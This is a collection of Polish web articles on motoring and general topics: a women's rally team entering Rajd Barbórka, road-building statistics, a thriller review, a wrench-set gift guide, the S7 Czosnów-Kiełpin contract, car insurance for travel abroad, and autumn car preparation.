Team Gosia Prus i Ola Rogala to zespół dwóch doświadczonych zawodniczek. Gosia – znana w środowisku jako niezwykle koleżeńska osoba – postanowiła uczynić nadchodzący Rajd Barbórka wyjątkowym przeżyciem nie tylko dla siebie. Wybrała osobę, która odegrała niebagatelną rolę w jej sukcesie w Mistrzostwach Polski Rallycross.

Aleksandra Rogala

Aleksandra Rogala

Na początku sezonu 2023 podjęła współpracę z Aleksandrą Rogalą, która w sezonie 2021 i 2022 ścigała się z Gosią w jednej klasie, w Mistrzostwach Polski Rallycross w klasie RWD CUP. Aleksandra przez cały sezon zawodów rallycrossowych niezmiennie wspierała Gosię „na słuchawkach”. Pełniła funkcję spottera, dostarczając nie tylko kluczowych informacji podczas rywalizacji, ale także dodatkowej dawki motywacji i wsparcia emocjonalnego. Teraz Ola sama stanie się częścią ekscytującej, rajdowej przygody. Gosia, jako wyraz wdzięczności i uznania dla zaangażowania Aleksandry, postanowiła zaprosić właśnie ją na prawy fotel. Dzięki temu wspólnie przeżyją emocje 61. Rajdu Barbórka. To już drugi start Aleksandry w Rajdzie Barbórki, na fotelu pilota, i – z pewnego źródła wiemy – że można by jej powierzyć również pilotaż statku kosmicznego!  

Wspólny start damskiego zespołu to rezultat nie tylko uznania doświadczenia i zasług obu zawodniczek, ale świetnej relacji, opartej na wzajemnym zaufaniu i profesjonalizmie. Gosia Prus i Ola Rogala staną przed nowym wyzwaniem, gotowe do pokonania każdego zakrętu.

Ten start to podkreślenie znaczenia zespołowej pracy, która stoi za sukcesami. Bądźcie z nami, gdy razem przekroczymy linię startu Rajdu Barbórka, gotowe do wspólnego przeżycia niezapomnianych chwil w Lancerze EVO X – mówi Gosia Prus.

Bądźcie z nami, gdy Gosia ponownie zmierzy się z trudnościami tras rajdowych po raz drugi w swojej karierze na Rajdzie Barbórka – zachęca Ola Rogala.

Dziewczyny wystartują z numerem 33. Trzymamy kciuki!

Brawa i podziękowania za wsparcie sponsorom zespołu:

ECO TECH Rury Stalowe Konstrukcje Stalowe

@superprezenty

@kingsmanpersonalfinance

@nextbasepl

@racingshop_pl

@adbl_official

@vacatmotorsport

@autodrom.slomczyn

Source: Gosia Prus i Ola Rogala wystartują w Barbórce! 100% damski team powalczy na kultowej Karowej?

Jakie mamy drogi po 8 latach rządów PIS? Komentarz eksperta

Programy drogowe to wydatki liczone w setkach miliardów – najnowszy z perspektywą do 2030 roku obejmuje 300 miliardów złotych, w tym nowe inwestycje to ponad 190 miliardów złotych. Spore środki pozostają pod zarządem Funduszu Rozwoju Dróg Lokalnych. Wydał on 22 miliardy złotych na ponad 26 tysięcy dróg lokalnych, a docelowo kwota ta może wzrosnąć do 36 miliardów złotych.

Po raz pierwszy realizowano także program utrzymaniowy o wartości 47 miliardów złotych, a zaplanowano już jego kontynuację do 2030 roku – z większą pulą środków aż 58 miliardów zł. Jest także program obwodnicowy do 2030 roku o wartości 28 miliardów zł. Już w tej chwili 16 obwodnic jest w realizacji, co daje około 127 kilometrów.

mapa dróg w budowie w Polsce 2023

Jeśli podsumujemy 8 lat rządów Platformy i PSL, to oddanych było 2118 kilometrów dróg najwyższych priorytetów – czyli autostrad i dróg ekspresowych.

Rząd PIS kończy kadencję na poziomie 2067 kilometrów. W 2016 roku domknięto autostradę A4 od granicy do granicy, w ubiegłym roku A1 od gór do morza. W 2023 roku domknięto autostradę A18. Jest to pełnowartościowa autostrada. Została jeszcze A2– ta budowa prawdopodobnie się zakończy w 2025 roku.

– Podsumowując 8 lat rządów Prawa i Sprawiedliwości trzeba powiedzieć o dwóch wyzwaniach, które się pojawiły – a więc pandemia i wojna. Podczas COVID udało się nie zatrzymać żadnych budów, tak jak to miało miejsce w wielu krajach, chociażby w Austrii – powiedział serwisowi eNewsroom.pl Adrian Furgalski, prezes ZDG TOR. – Był tutaj nieustanny dialog z branżą, żeby te budowy ochronić. No i druga rzecz oczywiście wojna w Ukrainie, czyli olbrzymi skok cenowy. Zawieszono postępowania przetargowe, bo ciężko było podawać racjonalne ceny. Można powiedzieć, że w miarę bezboleśnie przeszliśmy dwa takie duże wstrząsy. Jednak program budowy dróg to jest sztafeta. Od koncepcji do przecięcia wstęgi na takiej drodze to jest 8-10 lat. Nie udało się zlikwidować nierównowagi, jeżeli idzie o finansowanie budów, rozwój sieci dróg i rozwój sieci linii kolejowych. To, co na pewno wyróżnia rządy PIS, to jest polityczny komunikat. Zobaczcie, nasi poprzednicy nie poważali Polski Wschodniej. My się zwracamy w kierunku tych właśnie terenów. Przykładem jest Via Carpatia wraz z zabiegami o to, żeby utworzyć nowy korytarz transportowy Unii Europejskiej. Droga Via Carpatia – czyli inaczej S19 – niestety na wielu odcinkach ma bardzo słabe parametry ruchu, rzędu 5-6 tysięcy pojazdów na dobę. Nie nadaje się na dwupasmową drogę ekspresową – ale prace są tak zaawansowane, że właściwie tutaj nowy rząd nie będzie w stanie niczego odchudzić. Ogólnie GDDKiA jest dobrym beneficjentem, jeżeli idzie wydatkowanie pieniędzy unijnych – ocenia Furgalski.

Źródło: eNewsroom.pl

Source: Jakie mamy drogi po 8 latach rządów PIS? Komentarz eksperta

Coś dla fanów akcji: recenzja „Nie to miejsce nie ten czas” Gillian McAllister

Przygotuj się na niezapomnianą podróż, gdzie każda strona kryminału „Nie to miejsce, nie ten czas” przybliża cię do poznania prawdy – nietypowo, bo dowiadujesz się cofając się z czasie. Intryga oparta jest o krąg rodzinnych, zaskakujących sekretów i napięć. Oto książka, która trzyma w napięciu od pierwszej do ostatniej linijki.

„Nie to miejsce, nie ten czas” uznana została thrillerem roku 2022 wg Guardiana i Sunday Timesa. Powieść uzyskała nominację Goodreads Choice Awards 2022, a prawa do niej zostały sprzedane na 37 terytoriów. Na rynkach US oraz UK w ciągu 7 miesięcy od premiery, sprzedanych zostało 400 000 egzemplarzy!

Gillian McAllister – kim jest autorka?

Gillian McAllister to brytyjska autorka bestsellerowych thrillerów psychologicznych, które zostały przetłumaczone na 40 języków – część z nich została wyróżniona prestiżowymi nagrodami. Znana jest z talentu do tworzenia intrygujących kryminałów, które zaskakują czytelników swoją głębią i skomplikowanymi relacjami między postaciami. Jej wcześniejsze powieści, takie jak „Tak długo, jak śmierć nas nie rozłączy” czy „Ostatnie rzeczy, których się spodziewałam”, zyskały uznanie wśród miłośników gatunku. Mieszka w Birmingham, gdzie pracuje jako prawniczka. Jej pierwsza powieść, „Wszystko oprócz prawdy”, znalazła się w pierwszej dziesiątce bestsellerów „Sunday Timesa”. 

Historia zbrodni

Najnowsza powieść Gillian McAllister “Nie to miejsce, nie ten czas” to intrygująca i oryginalna historia o zbrodni – autorka wykorzystuje efekt cofania się w czasie. Główną bohaterką jest matka, która przeżywa koszmar, gdy jej syn zabija człowieka. Gdy budzi się następnego dnia po morderstwie odkrywa, że cofnęła się o jeden dzień wstecz. Tak się dzieje każdego ranka, przez co Jen ma szansę, by zapobiec zabójstwu. Jednak nie jest to takie proste, jak się wydaje. Musi odkryć, co się kryje za tą dziwną pętlą czasu i jakie są jej konsekwencje. To niezwykła podróż w głąb siebie, swoich relacji z synem, mężem i ojcem.

Nie to miejsce nie ten czas

“Nie to miejsce nie ten czas” – fabuła i klimat

Minęła północ. Czekasz na powrót osiemnastoletniego syna. Kiedy w końcu widzisz go za oknem, nie jest sam, a chwilę później twoje ukochane dziecko zabija człowieka. Nazajutrz wstajesz… I jest wczoraj. Każdego ranka budzisz się o jeden dzień wcześniej. Dostajesz szansę, aby zapobiec morderstwu.
Jesteś pewna, że rozwiązanie zagadki kryje się gdzieś w przeszłości. Teraz tylko musisz je odnaleźć.

Fabuła książki „Nie to miejsce, nie ten czas” to misterna sieć zdarzeń, której zawiłości nie sposób przewidzieć. McAllister mistrzowsko buduje napięcie, wprowadzając czytelnika w wir emocji i nieoczekiwanych zwrotów akcji. To historia zawierająca elementy samodzielnie prowadzonego śledztwa oraz chronioną przez lata tajemnicę, która stopniowo nabiera głębi. Z każdym wydaje się, że przybliżamy się do rozwikłania zagadki, lecz po chwili wiemy, że to sprytna ułuda.

Kryminał Gillian McAllister – styl pisania

Styl pisania autorki jest niezwykłe dynamiczny, wciągający i pełen napięcia. Autorka umiejętnie buduje atmosferę zagrożenia i tajemnicy, zaskakując czytelnika nieoczekiwanymi zwrotami akcji. Nie brakuje też emocji i dramatyzmu, które dotykają głównych bohaterów. McAllister porusza też bliskie każdemu z nas tematy, takie jak rodzicielska miłość, odpowiedzialność i wybory moralne – trafia w emocjonalne sedno z niesłychaną precyzją. Jednocześnie starannie kreuje postacie, które na długo zapadają w naszej pamięci – czytelnik łatwo się z nimi identyfikuje i współodczuwa ich rozterki. Ma też świetną zdolność wplątywania czytelnika w emocjonalne pułapki.

Ten wspaniały kryminał przyciągnie szczególnie fanów wartkiej akcji i kryminalnych intryg – McAllister doskonale operuje tempem narracji, umiejętnie podsycając ciekawość czytelnika i nie pozwalając na chwilę nudy.

“Nie to miejsce, nie ten czas” Gillian McAllister – recenzja

“Nie to miejsce, nie ten czas” to książka, która zdecydowanie wyróżnia się wśród kryminałów zalewających rynek. To retrospekcja oparta na uczuciach – emocjach matki i relacjach z rodziną. Większość z nas odnajdzie w tej lekturze samych siebie. Dla miłośników gatunku to pozycja, którą trudno odłożyć. Idealna dla osób poszukujących inteligentnej fabuły.

Jeśli więc macie ochotę na nietypową lekturę, pełną tajemnic i zaskakujących zwrotów akcji, sięgajcie śmiało po nową powieść Gillian McAllister. Polecam!

Książka Wydawnictwa Znak jest obecnie dostępna jest w promocji za 33,69 złotych (wcześniej 49,99 zł).

Source: Coś dla fanów akcji: recenzja „Nie to miejsce nie ten czas” Gillian McAllister

Zestaw kluczy na prezent. Zaskocz majsterkowicza trafionym upominkiem!

Gdzie można wykorzystać zestaw kluczy?

Każdy pan domu powinien mieć swój osobisty zbiór kluczy nasadowych. Taki komplet zazwyczaj przydaje się w najmniej spodziewanym momencie i sprawdza się zarówno w warsztacie, jak i podczas drobnych napraw w mieszkaniu. Gotowe zestawy są wygodnym rozwiązaniem, ponieważ wszystkie potrzebne sprzęty znajdują się w jednym miejscu. A to oznacza oszczędność czasu i lepszą organizację pracy.

Klucze służą przede wszystkim do odkręcania i dokręcania śrub. Wersja nasadowa różni się od wersji płaskiej budową – ma trzpień (rączkę), otwór na śrubę i nasadkę (najczęściej sześcio- lub dwunastokątną). Oprócz tego, narzędzia mogą być wzbogacone o ułatwiające pracę redukcje, przeguby czy grzechotki.

Komplety kluczy są wykorzystywane przede wszystkim w branży budowlanej, mechanice, ale także w branży muzycznej, jako stroiki.

narzędzia - klucze

Czym się kierować podczas zakupu narzędzi?

Wybierając prezentowy zestaw kluczy, w pierwszej kolejności należy wziąć pod uwagę liczbę dostępnych elementów. Dobra wiadomość jest taka, że wcale nie trzeba się znać na narzędziach. Gotowe komplety są dobierane przez profesjonalistów, więc z pewnością nie zabraknie w nich najważniejszych i najczęściej wykorzystywanych sprzętów.

Jakość wykonania to kolejne kryterium, które trzeba wziąć pod uwagę, kupując prezent dla złotej rączki. Narzędzia muszą być oczywiście trwałe, bo tylko wtedy spełnią swoją funkcję. Odporne na korozję, działanie wysokiej temperatury i mało podatne na otarcia są przede wszystkim klucze wykonane ze stali chromowo-wanadowej oraz chromowo-molibdenowej.

Oprócz samych narzędzi istotne jest również ich opakowanie. Służy przede wszystkim do segregowania akcesoriów i ich przenoszenia, ale również chroni poszczególne elementy przed uszkodzeniem. Warto więc zwrócić uwagę, aby skrzynia do przechowywania kluczy była solidna i wykonana z wytrzymałych materiałów.

Oczywiście ważna jest też cena. Najtańsze zestawy składają się z kilkunastu podstawowych kluczy. Natomiast kolekcje przeznaczone dla profesjonalistów mogą liczyć nawet do dwustu narzędzi. Koszt takiej skrzynki jest zdecydowanie wyższy, jednak będzie to inwestycja na lata. Z takiego prezentu z pewnością ucieszy się osoba, która na co dzień zajmuje się majsterkowaniem.

zestaw narzędzi w szufladzie

Rodzaje kluczy dla każdego pana domu

Klucze różnią się między sobą przeznaczeniem, jakością wykonania, rozmiarem, czy wyprofilowaniem rączki. Można je również podzielić m.in. ze względu na liczbę kątów i rozmiar nasadek (czyli wejść na grzechotkę). Oprócz tego dostępne są modele zwykłe i udarowe.

Warto wiedzieć, że nasadka to najważniejsza część klucza. Jest umocowana na zabieraku, który służy do obracania. Ma bezpośrednią styczność ze śrubą oraz nakrętkami, więc musi być wykonana z materiałów najwyższej klasy. Najczęściej do jej produkcji używa się stali chromowo-wanadowej, wzmocnionej dodatkowo wolframem lub molibdenem. Inną opcją są nasadki udarowe, które można wykorzystać do pracy z twardymi materiałami, takimi jak beton. Możliwe jest również wiercenie zgrubne, które powiększa istniejący już otwór.

Jeżeli chodzi o rozmiary nasadek, do wyboru jest kilka opcji:

  • mały zestaw 1/4 cala: przydaje się do precyzyjnych prac i sprawdzi się tam, gdzie jest mało miejsca. Ze względu na rozmiar odznacza się stosunkowo niską wytrzymałością;
  • średni zestaw 3/8 cala: łączy w sobie cechy zestawu na małą i dużą grzechotkę, czyli charakteryzuje się niewielkim rozmiarem i większą wytrzymałością niż komplet 1/4,
  • duży zestaw 1/2 cala: to najpopularniejszy zestaw na standardową grzechotkę, poradzi sobie nawet z mocno wkręconymi śrubami.

Użytkownicy mają również do dyspozycji mieszane zestawy, czyli na przykład:

  • 1/4 cala + 1/2 cala: najpopularniejsza kombinacja;
  • 1/4 cala + 3/8 cala +1/2 cala: największy, najbardziej uniwersalny oraz najdroższy komplet.

zestaw narzędzi

Najważniejsza jest jakość

Zestaw kluczy nasadowych to upominek, który doceni każdy fan majsterkowania – zarówno amator, jak i profesjonalista. Praktyczny prezent z pewnością nie będzie typowym zbieraczem kurzu, bo można go wykorzystać w wielu sytuacjach. Idealnie sprawdzi się np. podczas naprawy roweru, samochodu, a także w trakcie skręcania mebli i innych prac remontowych.

Kupując taki prezent, wcale nie trzeba się znać na narzędziach. Warto jednak wiedzieć, do jakich prac będą wykorzystywane. Bardzo ważne, aby klucze i nasadki były wykonane z wytrzymałej stali. Wówczas upominek będzie strzałem w dziesiątkę!

Source: Zestaw kluczy na prezent. Zaskocz majsterkowicza trafionym upominkiem!

Powstanie kolejne 9 km trasy S7 na Mazowszu – jest umowa na odcinek Czosnów-Kiełpin na przedmieściu Łomianek

Trasa S7 Czosnów-Kiełpin to fragment drogi krajowej Warszawa-Gdańsk. Droga przebiega przez tereny zurbanizowane, na których zlokalizowanych jest wiele przedsiębiorstw, hal produkcyjnych, zakładów pracy. Przebudowa drogi w znacznym stopniu ułatwi komunikację mieszkańców z Warszawą (aglomeracją miejską), a także usprawni i przyspieszy działanie przedsiębiorstw zlokalizowanych w okolicy.

Wartość kontraktu brutto to 536 313 784,41 zł.

Firma specjalizująca się w budowie i modernizacji infrastruktury drogowej na terenie całej Polski, podpisała umowę (jako lider konsorcjum) z Generalną Dyrekcją Dróg Krajowych
i Autostrad (GDDKiA) na projekt i budowę drogi ekspresowej S7 na odcinku od węzła Czosnów (z węzłem) do miejscowości Kiełpin. Kiedy możemy spodziewać się realizacji i co dokładnie zostanie wybudowane?

Podpisanie umowy z FABE - fot. GDDKiA Oddział Warszwa

Podpisanie umowy z FABE – fot. GDDKiA Oddział Warszwa

Trasa S7 Czosnów-Kiełpin – węzły drogowe, wiadukty, kładki

Zadaniem firmy FABE, która wygrała przetarg jako lider konsorcjum, oraz firm SP Sine Midas Stroy (Kazachstan) i Yörük Yapi İnşaat (Turcja), jest zaprojektowanie i wybudowanie około 9 km trasy głównej drogi ekspresowej S7, która przebiega pomiędzy miejscowościami Czosnów i Kiełpin. W ramach kontraktu wybudowane zostaną trzy węzły drogowe:

  • Czosnów,
  • Palmiry
  • Sadowa

Powstanie także Obwód Utrzymania Drogi (OD) z budynkiem administracyjno-socjalnym i budynkami towarzyszącymi.

Trasa S7 Czosnów-Kiełpin

Trasa S7 Czosnów-Kiełpin

Ponadto, firma wykona nowe obiekty inżynierskie w ciągu drogi ekspresowej i dróg krzyżujących się z drogą ekspresową, pozwalające na komunikację poprzez ruch samochodowy i pieszy. Powstanie:

  • 5 wiaduktów drogowych,
  • 4 kładki dla pieszych
  • 2 przejścia dla zwierząt.

Firma zajmie się również przebudową istniejącej infrastruktury podziemnej i naziemnej, a trasy dróg istniejących zostaną dostosowane do nowo projektowanej infrastruktury drogowej.

Co to dokładnie oznacza? To, że w miejscu obecnej dwujezdniowej i dwupasowej DK7 powstanie dwujezdniowa ekspresówka z trzema pasami ruchu. Ponadto powstaną drogi równoległe do obsługi ruchu lokalnego, urządzenia ochrony środowiska i bezpieczeństwa ruchu drogowego.

trasa S7 Czosnów-Kiełpin

Trasa S7 Czosnów-Kiełpin

Trasa S7 Czosnów-Kiełpin – kiedy powstanie?

Umowę między FABE i GDDKiA podpisano 16.11.2023 r. Etap planowania potrwa około 17 miesięcy. Następnym krokiem będzie uzyskanie decyzji o zezwoleniu na realizację inwestycji drogowej (ZRID). Czas realizacji umowy to 36 miesięcy od daty jej zawarcia. Do czasu realizacji robót nie wlicza się okresów zimowych (od 16 grudnia do 15 marca). Przy sprawnym przebiegu procesu projektowania (uzyskiwania niezbędnych uzgodnień i decyzji), jak i realizacji kierowcy z nowej trasy będą mogli skorzystać wiosną 2027 r. 

 „Jesteśmy dumni, że możemy realizować tak ważny i prestiżowy projekt dla rozwoju infrastruktury drogowej w Polsce. Nasza firma ma bogate doświadczenie i kompetencje w tej dziedzinie, a także dysponuje nowoczesnym sprzętem i technologiami. Jesteśmy przekonani, że sprostamy wszystkim wymaganiom i wyzwaniom związanym z budową drogi ekspresowej S7. To dla nas kolejny dowód, że nasza firma w ostatnich latach prężnie rozwija się na polskim rynku i cieszy się uznaniem i zaufaniem naszych zleceniodawców” – powiedział Fatih Budan, prezes FABE.

Trasa S7 Czosnów-Kiełpin

Aktualnie FABE prowadzi prace na odcinku Tychów Stary – Starachowice (droga wojewódzka nr 744) wraz z budową obwodnicy Starachowic, na obwodnicy Ostrowca Świętokrzyskiego – droga krajowa nr 9, przy budowie drogi ekspresowej S7 na odcinku Miechów – Szczepanowice. Jedną z najbardziej złożonych inwestycji jest budowa obwodnicy Morawicy i Woli Morawskiej w ciągu drogi krajowej nr 73. W ramach prac powstanie estakada o rozpiętości przęsła ok. 110 metrów i długości 456 m, która budowana jest w technologii betonowania nawisowego. Ukończenie inwestycji zaplanowano na 2026 r.

W 2023 roku FABE podpisała również umowy na budowę południowej obwodnicy Morawicy (w ciągu drogi wojewódzkiej nr 766 od skrzyżowania z projektowaną obwodnicą drogi krajowej nr 73) oraz na wykonanie infrastruktury w Parku Technologicznym w Książu Wielkim.

Trasa S7 Czosnów-Kiełpin

Trasa S7 Czosnów-Kiełpin

Trasa S7 – kiedy wjedziemy nią do Warszawy?

Kierowcy mają już do dyspozycji 275 km drogi ekspresowej od węzła Gdańsk Południe do Płońska. Z dalszych 57 km trasy do Warszawy w realizacji jest odcinek Płońsk – Czosnów. Ten 35-kilometrowy fragment S7 zostanie udostępniony w 2025 r.

Natomiast w październiku 2023 r. GDDKiA ogłosiło przetarg na zaprojektowanie ostatniego odcinka północnego wlotu do stolicy, ok. 12,9 km nowego przebiegu drogi ekspresowej, pomiędzy Kiełpinem a Trasą Armii Krajowej (S8) w Warszawie.

Tu dowiesz się więcej o S7 na odcinku Warszawa-Tarczyn.

Source: Powstanie kolejne 9 km trasy S7 na Mazowszu – jest umowa na odcinek Czosnów-Kiełpin na przedmieściu Łomianek

Ubezpieczenie auta na wyjazd za granicę – co warto wiedzieć?

Czy dodatkowe ubezpieczenie auta za granicę jest potrzebne?

Podróżując samochodem do wielu krajów, nie potrzebujemy dodatkowego ubezpieczenia pojazdu na czas podróży. Jedynym obowiązkowym ubezpieczeniem posiadacza auta na wyjazd za granicę jest ubezpieczenie OC (od odpowiedzialności cywilnej), które i tak jesteśmy zobowiązani posiadać w Polsce. Jest ono ważne we wszystkich państwach UE i kilku innych krajach. 

Warto jednak rozważyć zakup dodatkowego ubezpieczenia auta na wyjazd za granicę. Przyda się ono na przykład podczas przejazdu przez państwa nieuznające polskiej polisy. Można również rozszerzyć usługi assistance o zakres terytorium, do którego podróżujemy, by zyskać pewność otrzymania wsparcia w wybranym obszarze. 

Ponadto do niektórych krajów będziemy potrzebować również Zielonej Karty, czyli Międzynarodowego Certyfikatu Ubezpieczenia Komunikacyjnego. Jest to dowód posiadania obowiązkowego ubezpieczenia auta w: Albanii, Azerbejdżanie, Rosji, Białorusi, Iranie, Izraelu, Macedonii, Maroko, Mołdawii, Rosji, Tunezji oraz Turcji. 

Co daje dodatkowe ubezpieczyć auta na wyjazd za granicę?

Ubezpieczenie na wyjazd autem za granicę to nie tylko sprawdzenie ważności obowiązkowej polisy OC. Zakup dodatkowej kompleksowej ochrony w postaci OC + AC + assistance daje nam gwarancję pełnego bezpieczeństwa w czasie każdej podróży samochodem. Jakie korzyści może zapewnić dodatkowe ubezpieczenie auta na wyjazd za granicę? Oto najważniejsze plusy zakupu pełnego pakietu polisowego: 

  • brak dodatkowych kosztów w przypadku udziału w zdarzeniu drogowym;
  • zwrot kosztów w obliczu uszkodzenia auta (również na skutek wandalizmu czy ekstremalnych zjawisk pogodowych);
  • zwrot kosztów w przypadku kradzieży pojazdu;
  • opieka medyczna lub prawna w sytuacji uczestniczenia w zdarzeniu drogowym;
  • pomoc w dopełnieniu formalności w obcym państwie;
  • świadomość kompleksowej ochrony podczas całego wyjazdu;
  • możliwość cieszenia się urlopem i odpoczynkiem, nawet jeśli dojdzie do nieprzewidzianych zdarzeń.

Jakie dodatkowe ubezpieczenie auta za granicę warto mieć?

Wybór ubezpieczenia na wyjazd autem za granicę powinien być uzależniony od potrzeb podróży oraz kraju docelowego. Kupno wybranych polis może okazać się przydatne także w dalszej perspektywie ochrony pojazdu w kraju. Dlatego warto zwrócić uwagę na zakres ubezpieczenia i rozważyć następujące polisy: 

Autocasco

Autocasco (AC) to dobrowolna polisa komunikacyjna. Choć nie jest obowiązkowa ani w kraju, ani za granicą, to często okazuje się przydatna podczas wyjazdów. Pokrywa bowiem koszty związane z naprawą szkód wyrządzonych z winy właściciela pojazdu lub powstałych w wyniku okoliczności losowych (np. zdarzenia z udziałem dzikiej zwierzyny lub zjawisk atmosferycznych). 

Jeśli to Ty spowodujesz kolizję, w której ucierpi także Twoje auto, będziesz chroniony finansowo właśnie polisą autocasco. To ona pokryje koszty związane z naprawą pojazdu. Z taką ochroną nie trzeba martwić się o dodatkowe wydatki, które przywrócą auto do stanu sprzed stłuczki! AC zapewnia też (w zależności od warunków towarzystwa i zakresu ubezpieczenia) ochronę na wypadek kradzieży, ekstremalnych zjawisk pogodowych, kataklizmów oraz aktów wandalizmu. Dzięki temu będziesz spokojniejszy o swój pojazd, podróżując w nieznane rejony! 

To ważne! 

Wybierając dodatkowe ubezpieczenie auta na wyjazd za granicę, upewnij się, że działa ona także poza obszarem naszego kraju. Ponieważ nie można kupić krótkoterminowej polisy autocasco, postaw na takie AC, które obejmie większy zasięg terytorialny (np. kraje UE lub cały kontynent), jeśli planujesz wyjeżdżać autem za granicę. Koniecznie sprawdź, jakie warunki AC za granicą ma w swojej ofercie ubezpieczyciel, by bezpiecznie podróżować poza obszar naszego kraju. 

Assistance

Wyjątkowo przydatnym rozszerzeniem ubezpieczenia auta na wyjazd za granicę może okazać się assistance. Zapewnia ono wsparcie w razie trudnych sytuacji na drodze, do których dojdzie podczas zagranicznych podróży. To szczególnie ważne, gdy jesteśmy w obcym kraju i zmagamy się z barierą językową. Ubezpieczenie ASS zapewnia profesjonalne wsparcie we wszystkich formalnościach, organizacji pomocy w obliczu nieprzewidzianych zdarzeń podczas podróży – pokrywa też związane z tym koszty. 

Assistance przydaje się zwłaszcza w takich sytuacjach, jak przebita opona lub awaria pojazdu na drodze. Zyskujemy wtedy gwarancję udzielenia nam pomocy mechanika, holowania, wypożyczenia auta zastępczego, a nawet noclegu w trasie. W zależności od wariantu towarzystwo zapewni też wsparcie medyczne lub prawne. Wybierając assistance za granicę, upewnij się, że działa ono we wszystkich krajach, przez które będziesz przejeżdżać. Towarzystwa proponują polisy o różnym zasięgu terytorialnym. 

Gdzie kupić ubezpieczenie auta na wyjazd za granicę?

Obowiązkowe lub dodatkowe ubezpieczenie auta na wyjazd za granicę możesz wykupić na przykład na stronie multiagencji CUK Ubezpieczenia. Dzięki znajdującym się tam nowoczesnym narzędziom sprzedażowym zyskasz dostęp do wielu aktualnych ofert znanych towarzystw w jednym miejscu – porównasz i kupisz je w kilka minut bez wychodzenia z domu! Więcej informacji o ubezpieczeniu auta za granicę znajdziesz w tym artykule: https://cuk.pl/porady/ubezpieczenie-samochodu-na-wyjazd-za-granice

Source: Ubezpieczenie auta na wyjazd za granicę – co warto wiedzieć?

Przygotowanie samochodu do jesiennej aury. Co sprawdzić przed sezonem?

Spis treści

Kiedy z drzew zaczynają spadać liście, a dni stają się coraz krótsze, wiadomo, że wielkimi krokami zbliża się jesień. To idealny moment, by zadbać o samochód i upewnić się, że jest on gotowy na zmieniające się warunki pogodowe. Prosty przegląd i kilka kroków mogą zdecydowanie podnieść komfort jazdy w trudniejszych warunkach.

Sprawdzenie oświetlenia – klucz do bezpieczeństwa

Jesienią w zapomnienie odchodzą długie, słoneczne dni. Wiele osób wychodzi z domu, kiedy za oknem panuje szarówka – podobnie wyglądają powroty. W takich warunkach bardzo ważne jest zapewnienie sobie odpowiedniej widoczności! Dodatkowe wyzwanie stanowią zmieniające się warunki atmosferyczne, takie jak mgła, deszcz czy śnieg. 

Z tego powodu w okresie jesienno-zimowym należy zadbać o sprawne światła! Warto regularnie sprawdzać, czy reflektory nie są zabrudzone lub zaparowane. Nawet drobne zabrudzenia mogą znacząco obniżyć jakość oświetlenia. Ponadto trzeba zwrócić uwagę na właściwe ustawienie świateł. Jeśli są one źle wyregulowane, mogą oślepiać innych kierowców, co stanowi poważne zagrożenie. Regularna kontrola i dbałość o oświetlenie to podstawa bezpiecznej jazdy po zmroku.

Dla bezpieczeństwa na drodze ważne jest także zatroszczenie się o wymagane prawem dokumenty. Dynamicznie zmieniająca się pogoda stanowi wyzwanie – łatwo wpaść w poślizg, który niekiedy kończy się stłuczką. Przed finansowymi konsekwencjami chroni kierowcę polisa OC. Dlatego warto sprawdzić jej ważność i jeśli się kończy, przeprowadzić kalkulację ubezpieczenia samochodu! Pozwoli to znaleźć szeroką ochronę w atrakcyjnej cenie.

W jaki sposób przeprowadzić kontrolę?

Aby sprawdzić, czy oświetlenie działa prawidłowo, najlepiej odwiedzić stację diagnostyczną. Specjaliści skontrolują żarówki, a także ustawienie świateł. Można to także zrobić we własnym zakresie. Wystarczy zaparkować przed ścianą, a następnie dostosować ustawienie reflektorów swojego samochodu do właściwego poziomu.

Stan opon – czy zachowują przyczepność?

Opony to jedyny punkt kontaktu samochodu z nawierzchnią. Ich stan ma bezpośredni wpływ na przyczepność, a co za tym idzie, na bezpieczeństwo jazdy. Jesienią drogi bywają śliskie i mokre, dlatego ważne jest, aby ogumienie auta w dobrym stanie. Trzeba też pomyśleć o założeniu „zimówek”, które najlepiej radzą sobie na oblodzonej czy zaśnieżonej drodze. 

Kluczową rolę odgrywa profil opony. Jeśli jest zbyt mocno zużyty, skutkuje to wydłużeniem drogi hamowania. By zapewnić optymalną przyczepność w trudnych warunkach, grubość bieżnika opon powinna wynosić przynajmniej 1,6 mm. To jednak wartość minimalna! Producenci zalecają, by nie dopuszczać do takiego wytarcia. Najbezpieczniej jeździ się, kiedy bieżnik ma głębokość 4-5 mm. Pamiętając o tych zasadach, można znacząco zwiększyć bezpieczeństwo jazdy w trudnych warunkach.

Jakie opony wybrać na sezon jesienno-zimowy?

Najlepszym rozwiązaniem są opony całoroczne lub zimowe, które zapewniają optymalną przyczepność w chłodniejszych temperaturach. Sprawdź bieżnik opon, a także ich ciśnienie – zbyt niskie lub zbyt wysokie ciśnienie może negatywnie wpłynąć na właściwości jezdne opon.

Układ hamulcowy – pewność zatrzymania w każdej sytuacji

Mokra nawierzchnia, opadające liście czy nagłe spadki temperatury mogą znacząco wpłynąć na długość drogi hamowania. Dlatego też układ hamulcowy w samochodzie powinien być w pełni sprawny, by zapewnić bezpieczeństwo wszystkim uczestnikom ruchu. 

Przede wszystkim warto sprawdzić stan tarcz i klocków hamulcowych. Jeśli zostanie zauważone nadmierne zużycie, głębokie rysy czy inne uszkodzenia na tarczach, powinny one zostać wymienione. Klocki hamulcowe również wymagają uwagi – jeśli ich grubość jest poniżej minimalnej (1,5 mm), to konieczna jest ich wymiana. Ponadto regularne sprawdzanie poziomu płynu hamulcowego i jego jakości może zapobiec wielu problemom z układem hamulcowym w przyszłości.

Płyny eksploatacyjne – fundament sprawności silnika

Jesienne chłody mogą być wyzwaniem dla płynów eksploatacyjnych w samochodzie. Na początek warto sprawdzić poziom oraz stan oleju silnikowego. Powinien on być czysty i mieć odpowiednią lepkość. Następnie należy przeprowadzić kontrolę płynu chłodniczego. Jego odporność na bardzo niskie temperatury z czasem maleje. Jeśli dojdzie do zamarznięcia, istnieje ryzyko poważnego uszkodzenia silnika!

Nie można też zapominać o wymianie płynu do spryskiwaczy. Trzeba zaopatrzyć się w taki, który jest odporny na zamarzanie. Na pewno wielu osobom zdarzyło się zapomnieć o tej prozaicznej kwestii, przez co trudno im było utrzymać w czystości szyby samochodu.

Troska o czystość szyb – to ważne!

Jesień to czas częstych opadów deszczu, mżawek i innych, niezbyt przyjemnych dla kierowcy, warunków atmosferycznych. Dlatego też wycieraczki stają się jednym z kluczowych elementów wyposażenia pojazdu. Zapewniają one nie tylko komfort jazdy, ale także bezpieczeństwo, umożliwiając prawidłową widoczność.

